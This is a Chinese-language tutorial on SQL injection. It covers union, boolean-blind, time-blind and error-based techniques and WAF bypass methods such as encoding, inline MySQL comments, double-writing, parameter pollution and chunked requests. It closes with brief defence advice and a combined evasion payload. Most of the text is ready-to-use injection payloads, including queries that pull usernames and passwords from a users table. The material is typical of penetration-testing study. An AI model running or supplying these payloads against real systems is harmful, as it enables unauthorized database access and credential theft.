一、SQL注入类型详解
1. 联合查询注入 (Union-based SQL Injection)
原理:利用UNION操作符将恶意查询结果“附加”到原始查询结果之后。
关键前提条件:
- 原始查询与注入查询的列数必须相同
- 对应列的数据类型必须兼容
- 页面有回显位置显示查询结果
实战步骤:
-- 1. 确定列数(使用ORDER BY或UNION SELECT NULL)
?id=1' ORDER BY 5-- -- 如果5报错,4不报错,说明有4列
?id=-1' UNION SELECT NULL,NULL,NULL,NULL--
-- 2. 确定哪些列有回显
?id=-1' UNION SELECT 'A','B','C','D'--
-- 3. 获取数据库信息
?id=-1' UNION SELECT
1,
database(), -- 当前数据库名
user(), -- 当前数据库用户
version()-- -- 数据库版本
-- 4. 获取表名(以MySQL为例)
?id=-1' UNION SELECT
1,
group_concat(table_name), -- 将所有表名拼接成一行
3,
4
FROM information_schema.tables
WHERE table_schema=database()--
2. 布尔盲注 (Boolean-based Blind SQL Injection)
适用场景:页面没有明显错误回显,也没有数据直接显示,但页面状态会随SQL语句真假变化。
判断逻辑:
- 如果注入语句为真 → 页面正常显示
- 如果注入语句为假 → 页面异常、空白或不同
逐字符爆破示例:
-- 1. 判断数据库名长度
?id=1' AND length(database()) = 8-- -- 如果为真,说明数据库名长度为8
-- 2. 逐字符猜解数据库名
?id=1' AND ascii(substr(database(),1,1)) = 115-- -- 猜第一个字符是's'(ascii 115)
-- 3. 猜解表名
?id=1' AND
ascii(substr(
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),1,1)
) > 100--
-- 4. 猜解字段值(更高效的方法)
?id=1' AND
(SELECT substring(concat(username,0x3a,password),1,1)
FROM users LIMIT 0,1) = 'a'--
3. 时间盲注 (Time-based Blind SQL Injection)
适用场景:页面无论SQL语句真假都显示相同内容,只能通过响应时间差异判断。
常用时间延迟函数:
-- MySQL
?id=1' AND if(条件, sleep(5), 1)--
-- PostgreSQL
?id=1'; SELECT CASE WHEN (条件) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- SQL Server
?id=1'; IF (条件) WAITFOR DELAY '0:0:5'--
-- 实际攻击示例:猜解数据库名第一个字符
?id=1' AND
if(
ascii(substr(database(),1,1)) > 100,
sleep(3), -- 如果>100,延迟3秒
1
)--
-- 批量猜解自动化脚本逻辑
-- 如果第一个字符的ASCII码二进制第1位是1,则延迟
if((select ascii(substr(database(),1,1)) & 1), sleep(2), 0)
-- 然后测试第2位、第3位...(位运算逐位猜解)
4. 报错注入 (Error-based SQL Injection)
原理:故意构造错误的SQL语句,让数据库在错误信息中返回敏感数据。
常用报错函数:
-- 1. MySQL updatexml() 报错注入
?id=1' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--
-- 0x7e是波浪号~,作为分隔符使错误信息更清晰
-- 2. MySQL extractvalue() 报错注入
?id=1' AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))--
-- 3. 通过主键重复报错(需要子查询)
?id=1' AND (select 1 from (select count(*),
concat(database(), floor(rand(0)*2)) as x
from information_schema.tables group by x) as y)--
-- 4. PostgreSQL cast() 报错注入
?id=1' AND 1=cast((SELECT version()) as int)--
-- 5. SQL Server convert() 报错注入
?id=1' AND 1=convert(int, (SELECT @@version))--
报错注入的优势:
- 一次查询即可获取大量数据(不像盲注需要逐字符猜)
- 比联合注入限制少(不需要考虑列数匹配)
二、SQL注入绕过技术详解
1. 编码绕过
原理:WAF(Web应用防火墙)可能只检查原始输入,而不解码处理。
常用编码方式:
-- URL编码
select → %73%65%6c%65%63%74
union → %75%6e%69%6f%6e
-- 十六进制编码
SELECT * FROM users WHERE id=1 → 0x53454c454354202a2046524f4d2075736572732057484552452069643d31
-- Unicode编码
select → \u0073\u0065\u006c\u0065\u0063\u0074
-- 双重URL编码
s → %2573 (先编码为%73,再编码为%2573)
2. 大小写/大小写混合绕过
原理:数据库查询通常不区分大小写,但WAF规则可能区分。
-- 原始:SELECT
-- 绕过:
SeLeCt
SElEcT
sElEcT
-- 配合其他绕过技术
UnIoN SeLeCt
uNiOn AlL sElEcT
3. 添加无效/特殊字符
原理:数据库会忽略某些特殊字符,但WAF可能不会识别。
-- 注释符绕过(/* */, -- , #)
SEL/**/ECT
UNI/*任意内容*/ON
SELECT * FROM users WHERE id=1/*注释*/AND user='admin'
-- 空白符替代(数据库忽略,WAF可能不识别)
SEL%09ECT -- TAB
SEL%0aECT -- 换行
SEL%0dECT -- 回车
SEL%0bECT -- 垂直制表符
-- 空字节(%00)截断(旧系统有效)
%00SELECT
SEL%00ECT
-- 括号绕过
UNION (SELECT 1,2,3)
(SELECT) (1),(2),(3) FROM (users)
-- 反引号/引号绕过(MySQL)
SELECT `username` FROM `users`
SELECT 'username' FROM 'users'
4. 内联注释绕过(MySQL特有)
原理:MySQL会执行/*! ... */中的内容,其他数据库视为注释。
-- 基本用法
/*!SELECT*/ * FROM users
UNION /*!SELECT*/ 1,2,3
-- 指定MySQL版本(只有>=该版本才执行)
/*!50000SELECT*/ -- MySQL 5.0.0及以上版本执行
/*!50705SELECT*/ -- MySQL 5.7.5及以上版本执行
-- 复杂示例
?id=1' /*!UNION*/ /*!SELECT*/ 1,database(),3--
5. 双写/拆分绕过
原理:WAF删除关键词后,剩下的部分仍能组成有效关键词。
-- 双写绕过(WAF删除第一个关键词后,剩下第二个)
SELSELECTECT
UNUNIONION
ORORDERDER BY
-- 拆分绕过
SEL ECT -- 中间加空格(可能被WAF规则忽略)
SEL%0bECT
(SEL) + (ECT) -- 某些数据库支持
CONCAT('SEL','ECT')
-- 使用变量/函数拼接
SET @s = CONCAT('SEL','ECT');
PREPARE stmt FROM @s;
EXECUTE stmt;
6. 等价函数/语法替换
原理:使用功能相同但写法不同的函数或语法。
-- 替代 substr()
mid(), substring(), left(), right()
-- 替代 ascii()
ord(), hex(), bin(), conv()
-- 替代 sleep()
benchmark(1000000, md5('test')) -- MySQL,通过大量计算延迟
pg_sleep(5) -- PostgreSQL
WAITFOR DELAY '0:0:5' -- SQL Server
-- 替代 union select
union all select
union distinct select
|| (在某些数据库中是连接符)
7. HTTP参数污染 (HPP)
原理:提交多个同名参数,不同服务器处理方式不同。
GET /page.php?id=1&id=UNION SELECT 1,2,3--
- 可能WAF检查第一个
id=1(正常),应用使用第二个id=UNION...(恶意)
8. 分块传输编码 (Chunked Transfer Encoding)
原理:将请求体分块发送,绕过基于正则表达式的WAF。
POST /vulnerable.php HTTP/1.1
Transfer-Encoding: chunked
4
id=1
10
&query=UNION SELECT
8
1,2,3--
0
三、防御建议(从攻击者角度了解防御)
- 使用预编译语句(参数化查询)
# 错误示例(拼接字符串) query = "SELECT * FROM users WHERE id = " + user_input # 正确示例(参数化查询) cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,)) - 严格的输入验证
- 白名单验证(只允许特定字符)
- 类型转换(如
intval()强制转为整数)
- 最小权限原则
- 数据库连接用户只授予必要权限
- 禁用
FILE、OUTFILE等高危权限
- WAF配置
- 定期更新规则库
- 使用语义分析而非单纯关键词匹配
- 结合机器学习检测异常模式
- 错误处理
- 生产环境关闭详细错误信息
- 使用自定义错误页面
四、实际渗透测试中的组合使用
-- 示例:综合绕过WAF的注入payload
?id=1' /*!50000union*/ /*!50000select*/
1,
/*!50000concat*/(
0x7e,
/*!50000schema*/() ,
0x7e
),
3
from
/*!50000information_schema*/.tables
where
table_schema=/*!50000database*/()
and 1=2
union%23%0a
all%0b
select%0b
@%60:=1%60,
@%60:=2%60,
@%60:=3%60--%20-
这些技术在实际渗透测试中通常需要根据目标环境组合使用、灵活变通。理解原理比记忆payload更重要,因为WAF和防御技术也在不断进化。